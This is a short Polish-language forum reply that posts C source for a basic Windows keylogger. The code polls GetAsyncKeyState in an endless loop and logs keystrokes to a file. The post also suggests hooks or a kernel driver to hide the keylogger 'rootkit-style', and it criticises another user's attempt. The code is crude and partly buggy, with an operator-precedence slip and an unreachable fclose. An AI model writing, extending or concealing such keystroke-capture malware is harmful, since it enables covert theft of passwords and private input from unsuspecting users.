jakby nie było to nie wiem po co tutoriale
keylogger można napisać za pomocą jednej funkcji, tj
GetKeyState oraz GetAsyncKeyState
które są doskonale udokumentowane na MSDN.
Oto moja implementacja szkieletu examplowego keyloggera:
Kod:
// pseudo keylogger code wrote by g3t_d0wn //
/////////////////////////////////////////////
#include <stdio.h>
#include <windows.h>
int main(void) {
FILE* txt;
txt = fopen("keys.txt", "w");
if (txt == NULL) return -1;
int count = 0;
while(1) {
for(count = 48; count < 90; count ++) {
if (GetAsyncKeyState(count) & 0x01 == 1) {
fputc((char)count, txt);
}
}
}
fclose(txt);
return 0;
}
same banały , jest jeszcze wiele możliwości implementacji keyloggera jak zastawienie hooków, napisanie sterownika łapiącego klawisze(bardziej rootkitowo, aby ukryć keylogger ).
//
nie chcę już tutaj wytykać więcej błędów, bo jest ich u ciebie masa, ale jeśli zamierzasz pisać coś takiego w Borland życzę powodzenia.....